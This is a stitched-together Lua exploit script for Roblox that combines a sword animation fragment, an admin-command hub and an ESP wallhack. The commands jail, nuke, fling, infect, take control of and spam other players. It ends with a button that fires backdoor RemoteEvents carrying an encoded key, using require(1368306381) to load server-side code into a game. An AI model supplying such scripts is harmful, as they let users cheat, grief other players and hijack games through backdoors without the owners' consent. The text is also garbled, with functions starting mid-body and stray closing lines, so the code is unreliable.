if telehit == nil or math.abs((Torso.Position - telepos).magnitude) >
Props.MaxTeleDistance then
Sound(Sounds.Punch,1,1) for i=0.3,1,0.14 do wavm.Scale =
Vector3.new(3.5+(5*i),2,3.5+(5*i)) wav.Transparency = i wait() end wav:Remove()
wav:Remove()
else
MinusRage(RaigCost)
for i=1,10 do wait() Functions.Sparkle(Torso,5,3)
Functions.BrickWarpDesign(Torso,6) end
ShockWave(Torso,7,BladeColor)
Torso.CFrame = wav.CFrame + Vector3.new(0,2.2,0) Sound(Sounds.EnergyBlast,1.2,0.6)
ShockWave(Torso,7,BladeColor)
for i=1,10 do wait() Functions.Sparkle(Torso,5,3)
Functions.BrickWarpDesign(Torso,6) end
for i=0.3,1,0.14 do wavm.Scale = Vector3.new(3.5+(5*i),2,3.5+(5*i))
wav.Transparency = i wait() end wav:Remove()
end
for i=i2,i1,-is*Speed do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
Torw.C1 = ca(0,mr(50*i),0)
wait()
end
Anim.Act = false
end
-----------------------------------------------------------------------------------
---------------------------
-----------------------------------------------------------------------------------
---------------------------
-----------------------------------------------------------------------------------
---------------------------
-----------------------------------------------------------------------------------
---------------------------
bin.Selected:connect(function(mm)
Mouse = mouse
mouse = mm
Torso["Left Hip"].Part0 = Tor
Torso["Right Hip"].Part0 = Tor
RS.Parent = nil
LS.Parent = nil
RW.Parent = Torso
RW.Part0 = Fra
RW.Part1 = Ra
LW.Parent = Torso
LW.Part0 = Fla
LW.Part1 = La
RW.C0 = CFrame.new(0,0,0) RW.C1 = CFrame.new(0,0,0)
LW.C0 = CFrame.new(0,0,0) LW.C1 = CFrame.new(0,0,0)
Anims.Equip(0,1,0.07*Speed)
Anim.Equipped = true
mouse.KeyDown:connect(function(key)
key:lower()
pcall(function() Anim.key[key:lower()] = true end)
keydown = true
if key == "z" and Anim.Move == "None" and not Anim.Act then
Functions.RageRegen()
end
if SwordType == "Single" then
if key == "e" and Anim.Move == "None" and not Anim.Act and RageCost["RotorBlade"]
<= Rage then
Anim.Move = "RotorBlade"
Anims.RotorBlade(0,1,0.08*Speed,RageCost["RotorBlade"])
Anim.Move = "None"
elseif key == "q" and Anim.Move == "None" and not Anim.Act and
RageCost["Boomerang"] <= Rage then
Anim.Move = "Boomerang"
Anims.Boomerang(0,1,0.08*Speed,RageCost["Boomerang"])
Anim.Move = "None"
elseif key == "f" and Anim.Move == "None" and not Anim.Act and
RageCost["BoulderForce"] <= Rage then
Anim.Move = "BoulderForce"
Anims.BoulderForce(0,1,0.08*Speed,RageCost["BoulderForce"])
Anim.Move = "None"
elseif key == "r" and Anim.Move == "None" and not Anim.Act and
RageCost["ForceWave"] <= Rage then
Anim.Move = "ForceWave"
Anims.ForceWave(0,1,0.08*Speed,RageCost["ForceWave"])
Anim.Move = "None"
elseif key == "t" and Anim.Move == "None" and not Anim.Act and RageCost["Teleport"]
<= Rage then
Anim.Move = "Teleport"
Functions.Teleport(0,1,0.08*Speed,RageCost["Teleport"])
Anim.Move = "None"
end
elseif SwordType == "Dual" then
if key == "e" and Anim.Move == "None" and not Anim.Act and RageCost["DualSpin"] <=
Rage then
Anim.Move = "DualSpin"
Anims.DualSpin(0,1,0.08*Speed,RageCost["DualSpin"])
Anim.Move = "None"
end
end
end)
mouse.KeyUp:connect(function(key)
pcall(function() Anim.key[key:lower()] = false end)
keydown = false
end)
game.Lighting:SetMinutesAfterMidnight(time_*60)
end)
local a = makeThread(gui.ExplorerPanel.LocalScript.Source)
local b = makeThread(gui.PropertiesFrame.Properties.Source)
local c = makeThread(gui.Selection.Source)
local d = makeThread(gui.ScriptEditor.LocalScript.Source)
loadstring(a..b..c..d)()
end)
addcmd('ambient','changes ambient',{},
function(args)
game.Lighting.Ambient = Color3.new(args[1],args[2],args[3])
end)
addcmd('jail','jails player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=gPlayers[v].Character
local JailPlayer = DATA.JAIL:Clone()
JailPlayer.Parent = game.Workspace
JailPlayer:MoveTo(pchar.Torso.Position)
JailPlayer.Name = "JAIL_" .. gPlayers[v].Name
if pchar:FindFirstChild("HumanoidRootPart") then
pchar.HumanoidRootPart.CFrame = JailPlayer.MAIN.CFrame
end
end
end)
addcmd('unjail','unjails player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
game.Workspace["JAIL_" .. gPlayers[v].Name]:Destroy()
end
end)
pchar.Torso.Neck.C0 = CFrame.new(0,1,0) *
CFrame.Angles(math.rad(90),math.rad(180),0)
pchar.Torso["Right Shoulder"].C0 = CFrame.new(1,0.5,0) *
CFrame.Angles(0,math.rad(90),0)
pchar.Torso["Left Shoulder"].C0 = CFrame.new(-1,0.5,0) *
CFrame.Angles(0,math.rad(-90),0)
pchar.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) *
CFrame.Angles(0,math.rad(90),0)
pchar.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) *
CFrame.Angles(0,math.rad(-90),0)
pchar.Head.Transparency = 0
pchar.Torso.Transparency = 0
pchar["Left Arm"].Transparency = 0
pchar["Right Arm"].Transparency = 0
pchar["Left Leg"].Transparency = 0
pchar["Right Leg"].Transparency = 0
Shirt.ShirtTemplate = "rbxassetid://133078194"
Pants.PantsTemplate = "rbxassetid://133078204"
end
end)
addcmd('unshrek','makes player back to normal',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
execCmd("fix " .. gPlayers[v].Name, Player)
end
end)
addcmd('spam','spams text',{},
function(args)
Spamming = true
spawn(function()
while wait(0) do
if Spamming == true then
while wait(0.1) do
if Spamming == true then
game.Players:Chat("" .. args[1])
elseif Spamming == false then
return
end
end
end
end
end)
end)
addcmd('nospam','stops spamming',{},
function(args)
Spamming = false
end)
addcmd('control','controls player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if gPlayers[v] and pchar then
pchar.Humanoid.PlatformStand = true
local w = Instance.new("Weld", Player.Character.Torso)
w.Part0 = Player.Character.Torso
w.Part1 = pchar.Torso
local w2 = Instance.new("Weld", Player.Character.Head)
w2.Part0 = Player.Character.Head
w2.Part1 = pchar.Head
local w3 = Instance.new("Weld",
Player.Character:findFirstChild("Right Arm"))
w3.Part0 = Player.Character:findFirstChild("Right Arm")
w3.Part1 = pchar:findFirstChild("Right Arm")
local w4 = Instance.new("Weld",
Player.Character:findFirstChild("Left Arm"))
w4.Part0 = Player.Character:findFirstChild("Left Arm")
w4.Part1 = pchar:findFirstChild("Left Arm")
local w5 = Instance.new("Weld",
Player.Character:findFirstChild("Right Leg"))
w5.Part0 = Player.Character:findFirstChild("Right Leg")
w5.Part1 = pchar:findFirstChild("Right Leg")
local w6 = Instance.new("Weld",
Player.Character:findFirstChild("Left Leg"))
w6.Part0 = Player.Character:findFirstChild("Left Leg")
w6.Part1 = pchar:findFirstChild("Left Leg")
char.Head.face:Destroy()
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("BasePart") then
v.CanCollide = false
end
end
for i,v in pairs(char:GetChildren()) do
if v:IsA("BasePart") then
v.Transparency = 1
elseif v:IsA("Hat") then
v:Destroy()
end
end
pchar.Parent = char
pchar.Humanoid.Changed:connect(function()
pchar.Humanoid.PlatformStand = true
end)
end
end
end)
addcmd('nuke','nukes player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if gPlayers[v] and pchar and pchar:FindFirstChild("Torso") then
local nuke = Instance.new("Part", game.Workspace)
nuke.Anchored = true
nuke.CanCollide = false
nuke.FormFactor = "Symmetric"
nuke.Shape = "Ball"
nuke.Size = Vector3.new(1,1,1)
nuke.BrickColor = BrickColor.new("New Yeller")
nuke.Transparency = 0.5
nuke.Reflectance = 0.2
nuke.TopSurface = 0
nuke.BottomSurface = 0
nuke.Touched:connect(function (hit)
if hit and hit.Parent then
local boom = Instance.new("Explosion",
game.Workspace)
boom.Position = hit.Position
boom.BlastRadius = 11
boom.BlastPressure = math.huge
end
end)
local CF = pchar.Torso.CFrame
nuke.CFrame = CF
for i = 1,333 do
nuke.Size = nuke.Size + Vector3.new(3,3,3)
nuke.CFrame = CF
wait(1/44)
end
nuke:Destroy()
end
end
end)
addcmd('infect','infects player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
function infect(rip)
local pchar = gPlayers[v].Character
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Hat") or v:IsA("Shirt") or v:IsA("Pants") then
v:Destroy()
Notify(gPlayers[v].Name .. ' is now infected')
end
end
if pchar.Torso:FindFirstChild("roblox") then
pchar.Torso.roblox:Destroy()
end
if pchar.Head:FindFirstChild("face") then
pchar.Head.face.Texture = "http://www.roblox.com/asset/?
id=94634491"
end
if pchar:FindFirstChild("Body Colors") then
local Colors = pchar["Body Colors"]
local Skin = BrickColor.new("Pastel green")
local Clothes = BrickColor.new("Reddish brown")
Colors.HeadColor = Skin
Colors.LeftArmColor = Skin
Colors.RightArmColor = Skin
Colors.LeftLegColor = Clothes
Colors.RightLegColor = Clothes
Colors.TorsoColor = Clothes
end
local w1 = Instance.new("Weld", pchar)
w1.Part0 = pchar["Right Arm"]
w1.Part1 = pchar.Torso
w1.C0 = CFrame.new(-1.5, 0.5, 0.5) *
CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(0), math.rad(0))
local w2 = Instance.new("Weld", pchar)
w2.Part0 = pchar["Left Arm"]
w2.Part1 = pchar.Torso
w2.C0 = CFrame.new(1.5, 0.5, 0.5) *
CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(0), math.rad(0))
local rip = false
local connect1 = pchar["Left Arm"].Touched:connect(function(hit)
if connect1 == false then
connect1 = true
if game.Players:FindFirstChild(hit.Parent.Name) then
infect(game.Players[hit.Parent.Name])
end
wait(0.5)
connect1 = true
end
end)
local connect2 = pchar["Right Arm"].Touched:connect(function(hit)
if connect2 == false then
connect2 = true
if game.Players:FindFirstChild(hit.Parent.Name) then
infect(game.Players[hit.Parent.Name])
end
wait(0.5)
connect2 = true
end
end)
local IV = Instance.new("IntValue", pchar)
IV.Name = "Infected"
IV.Value = 0
IV.Changed:connect(function()
connect1:disconnect()
connect2:disconnect()
end)
end
infect(v)
end
end)
wait(0.1)
Head.formFactor = 3
Torso.formFactor = 3
LA.formFactor = 3
RA.formFactor = 3
LL.formFactor = 3
RL.formFactor = 3
HRP.formFactor = 3
end
scale(pchar, args[2])
addcmd('clone','clones player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
pchar.Archivable = true
local clone = pchar:Clone()
clone.Parent = game.Workspace
clone:MoveTo(pchar:GetModelCFrame().p)
clone:MakeJoints()
pchar.Archivable = false
end
end)
addcmd('spin','spins player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
for i,v in pairs(pchar.Torso:GetChildren()) do
if v.Name == "Spinning" then
v:Destroy()
end
end
local Torso = pchar.Torso
local BG = Instance.new("BodyGyro", Torso)
BG.Name = "Spinning"
BG.maxTorque = Vector3.new(0, math.huge, 0)
BG.P = 11111
BG.cframe = Torso.CFrame
repeat wait(1/44)
BG.CFrame = BG.CFrame * CFrame.Angles(0,math.rad(30),0)
until not BG or BG.Parent ~= Torso
end
end)
addcmd('fling','flings player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Humanoid") then
local xran
local zran
repeat
xran = math.random(-9999,9999)
until math.abs(xran) >= 5555
repeat
zran = math.random(-9999,9999)
until math.abs(zran) >= 5555
pchar.Humanoid.Sit = true
pchar.Torso.Velocity = Vector3.new(0,0,0)
local BF = Instance.new("BodyForce", pchar.Torso)
BF.force = Vector3.new(xran * 4, 9999 * 5, zran * 4)
Notify('Flung ' .. gPlayers[v].Name .. ' :D')
end
end
end)
end
local Seizure = Instance.new("StringValue", pchar)
Seizure.Name = "Seizure"
pchar.Humanoid.PlatformStand = true
repeat wait()
pchar.Torso.Velocity = Vector3.new(math.random(-10,10),-
5,math.random(-10,10))
pchar.Torso.RotVelocity = Vector3.new(math.random(-
5,5),math.random(-5,5),math.random(-5,5))
until Seizure.Name == "NotSeizure"
end
end)
addcmd('unpunish','unpunishs player',{''},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
if game.Lighting:FindFirstChild("" .. gPlayers[v].Name) then
game.Lighting:FindFirstChild("" .. gPlayers[v].Name).Parent =
game.Workspace
Notify(gPlayers[v].Name .. ' has been unpunished')
end
end
end)
addcmd('disco','disco party',{''},
function(args)
Disco = true
if Disco == true then
repeat wait(0.3)
game.Lighting.Ambient =
Color3.new(math.random(),math.random(),math.random())
until Disco == false
end
end)
-----------
---Extra---
-----------
Floating = false
addcmd('unfloat','disables floating',{},
function(args)
Floating = false
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Float") then
pchar.Float:Destroy()
Notify(gPlayers[v].Name .. ' no longer has float')
end
end
end)
addcmd('noclip','enables noclip',{},
function(args)
Notify('NoClip enabled')
Clip = false
wait(1)
Name = game.Players.LocalPlayer.Name
game:GetService('Players').LocalPlayer.PlayerGui.ChildAdded:connect(function
(NC)
delay(0, function()
if NC.Name ~= "Memes" then
NC:Destroy()
end
end)
end)
game:GetService('RunService').Stepped:connect(function ()
game.Workspace[Name].Torso.CanCollide = Clip
game.Workspace[Name].Head.CanCollide = Clip
end)
game.Workspace[Name].Torso.Changed:connect(function()
game.Workspace[Name].Torso.CanCollide = Clip
game.Workspace[Name].Head.CanCollide = Clip
end)
end)
addcmd('clip','disables noclip',{},
function(args)
Notify('NoClip disabled')
Clip = true
end)
wait(0.1)
addcmd('prefix','changes prefix',{},
function(args)
cmdprefix = args[1]
Notify('Changed prefix to "' .. args[1] .. '"')
end)
addcmd('admins','prints admins',{},
function(args)
for i,v in pairs(AdminFolder:GetChildren()) do
if v:IsA("StringValue") then
print("-" .. v.Value)
Notify('Printed Admins, Check Console')
end
end
end)
addcmd('respawn','respawns',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players) do
local M = Instance.new('Model', gWorkspace) M.Name = 'respawn_seth'
local H = Instance.new('Humanoid', M)
local T = Instance.new('Part', M) T.Name = 'Torso' T.CanCollide = false
T.Transparency = 1
gPlayers[v].Character = M
end
end)
addcmd('bans','prints bans',{},
function(args)
for i,v in pairs(BanFolder:GetChildren()) do
if v:IsA("StringValue") then
print("-" .. v.Value)
Notify('Printed Bans, Check Console (F9)')
end
end
end)
addcmd('version','shows version',{''},
function(args)
Notify("Version is " .. Version)
end)
-----------------------
-----Floating data-----
-----------------------
Mouse.KeyDown:connect(function (Key)
if Key:byte() == 29 then
if Floating == false then
execCmd("float me", Player)
Floating = true
elseif Floating == true then
execCmd("unfloat me", Player)
Floating = false
end
end
end)
--------------
---Ban data---
--------------
spawn(function ()
while wait(0.1) do
for _,a in pairs(game.ContextActionService:GetChildren()) do
if a.Name == "BanList" then
for _,b in pairs(a:GetChildren()) do
if b:IsA("StringValue") then
for _,c in pairs(game.Players:GetChildren()) do
if c.Name == b.Value then
c.PersonalServerRank = 200
wait(0.1)
c.PersonalServerRank = 0
end
end
end
end
end
end
end
end)
---------
--Admin--
---------
spawn(function ()
while wait(0.1) do
for _,a in pairs(game.ContextActionService:GetChildren()) do
if a.Name == "AdminList" then
for _,b in pairs(a:GetChildren()) do
if b:IsA("StringValue") then
for _,c in pairs(game.Players:GetChildren()) do
if c.Name == b.Value then
execCmd('admin ' .. c.Name)
end
end
end
end
end
end
end
end)
-------------------------
-----Long space lmao-----
-------------------------
-------------------
----Command bar----
-------------------
-------------------
----Random data----
-------------------
---------------------------
--Commands GUI properties--
---------------------------
script.Parent.MouseButton1Down:connect(function()
if CMDs.Visible == true then
CMDs.Visible = false
elseif CMDs.Visible == false then
CMDs.Visible = true
end
end)
]]
cmdEx = Instance.new('TextLabel', cmdMAIN)
cmdEx.Name = 'Example'
cmdEx.BackgroundColor = BrickColor.new(0,0,0)
cmdEx.BackgroundTransparency = 0.8
cmdEx.BorderColor = BrickColor.new(0,0,0)
cmdEx.BorderSizePixel = 0
cmdEx.Position = UDim2.new(0,5,0,20)
cmdEx.Size = UDim2.new(0,190,0,20)
cmdEx.Visible = false
cmdEx.TextColor = BrickColor.new(255,255,255)
cmdEx.TextXAlignment = 'Left'
wait(2)
-------------------------
----Notify properties----
-------------------------
Mouse.Button1Down:connect(function()
if Mouse.Target and Tool.Active then
Player.Character.HumanoidRootPart.CFrame = Mouse.Hit +
Vector3.new(0,2,0)
end
end)
]]
------------------------
---Even more commands---
------------------------
addcmd('ayylmao','ayy lmao',{''},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Shirt") then
pchar.Shirt:Destroy()
end
if pchar:FindFirstChild("Pants") then
pchar.Pants:Destroy()
end
if pchar:FindFirstChild("Shirt Graphic") then
pchar["Shirt Graphic"].Graphic = ""
end
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Hat") then
v:Destroy()
end
end
local ayylmao = DATA.ayylmao:Clone()
ayylmao.Parent = pchar
local BC = pchar["Body Colors"]
BC.HeadColor = BrickColor.new("Fossil")
BC.LeftArmColor = BrickColor.new("Fossil")
BC.LeftLegColor = BrickColor.new("Fossil")
BC.RightArmColor = BrickColor.new("Fossil")
BC.RightLegColor = BrickColor.new("Fossil")
BC.TorsoColor = BrickColor.new("Fossil")
end
end)
----------------------
-----Commands GUI-----
----------------------
addcmd('cmds','prints cmds',{},
function(args)
commands()
end)
-----------------
---Command Bar---
-----------------
CMDbar.CMDbar.FocusLost:connect(function(enterpressed)
if enterpressed and CMDbar.CMDbar.Text ~= "" then
spawn(function ()
execCmd(CMDbar.CMDbar.Text, Player)
end)
end
CMDbar.CMDbar:TweenPosition(UDim2.new(0, -500, 0.7, 0), "InOut", "Quad", 0.5,
true, nil)
end)
Mouse.KeyDown:connect(function(Key)
if Key:byte() == 59 then
CMDbar.CMDbar:TweenPosition(UDim2.new(0, 0, 0.4, 0), "InOut", "Quad",
0.5, true, nil)
CMDbar.CMDbar:CaptureFocus()
end
end)
----------------
--ESP function--
----------------
MAIN.Parent = Player.PlayerGui
MAIN.Adornee = base
F.Visible = true
ESP.Text = base.Parent.Name:upper()
ESP.Visible = true
end
function Clear()
for _,v in pairs(Player.PlayerGui:children()) do
if v.Name == "MAIN" and v:IsA("BillboardGui") then
v:Destroy()
end
end
end
function Find()
Clear()
track = true
spawn(function()
while wait() do
if track then
Clear()
for i,v in pairs(game.Players:players()) do
if v.Character and v.Character.Head then
Create(v.Character.Head, true)
end
end
end
wait(1)
end
end)
end
-------
--ESP--
-------
Mouse.KeyDown:connect(function(Key)
if Key:byte() == 30 then
if ESP == false then
Find()
ESP = true
elseif ESP == true then
Clear()
track = false
ESP = false
end
end
end)
---------------------------------
----Notify animation/movement----
---------------------------------
function Notify(msg)
if usingNOTE == false then
if NOTIFY.NOTIFY and NOTIFY.NOTIFY.NOTE then
spawn(function()
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0, 0, 0.4, 0),
"InOut", "Quad", 0.5, true, nil)
NOTIFY.NOTIFY.NOTE.Text = msg
usingNOTE = true
wait(2.5)
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0, -500, 0.7, 0),
"InOut", "Quad", 0.5, true, nil)
usingNOTE = false
end)
end
end
end
-------------------------
--Startup notifications--
-------------------------
wait(1)
wait(2.6)
NOTIFY.NOTIFY.BorderColor = BrickColor.new(0,255,255)
wait(2.6)
wait(3)
wait(2.6)
wait(3)
Player.PlayerGui.Memes:Destroy()
-- __ __ ___
-- \/\ \ /\_ \ __
--\ \ `\\ \ __ __ _ __ __\//\ \ /\_\ ____
-- \ \ , ` \ /'__`\/\ \/'\/\ \/\ \ \ \ \ \/\ \ /',__\
-- \ \ \`\ \/\ __/\/> </\ \ \_\ \ \_\ \_\ \ \/\__, `\
-- \ \_\ \_\ \____\/\_/\_\\ \____/ /\____\\ \_\/\____/
-- \/_/\/_/\/____/\//\/_/ \/___/ \/____/ \/_/\/___/
---------------------------------------------------------------
--------------------------Version Beta--------------------------
---------------------------------------------------------------
---------------------------N3xul---------------------------
---------------------------------------------------------------
end)
Prison.Name = "Prison"
Prison.Parent = Admin
Prison.BackgroundColor3 = Color3.new(0.666667, 0, 0)
Prison.Position = UDim2.new(0.269886345, 0, 0.72807014, 0)
Prison.Size = UDim2.new(0, 147, 0, 39)
Prison.Font = Enum.Font.Cartoon
Prison.Text = "PrisonLife Admin"
Prison.TextColor3 = Color3.new(0, 0, 0)
Prison.TextScaled = true
Prison.TextSize = 14
Prison.TextWrapped = true
Prison.MouseButton1Down:connect(function()
---This Script Is Not Made By Me!---
---MAKE SURE TO SUBSCRIBE TO VOICELESS!---
game.ReplicatedStorage.mynameemma.emma:FireServer('cGxzIGVtbWE=',game:GetService'Pl
ayers'.LocalPlayer.Name,1368306381)
game.ReplicatedStorage.RemoteEvent:FireServer([[require(1368306381).load"SonicElija
hMania"]])
end)
-- Scripts: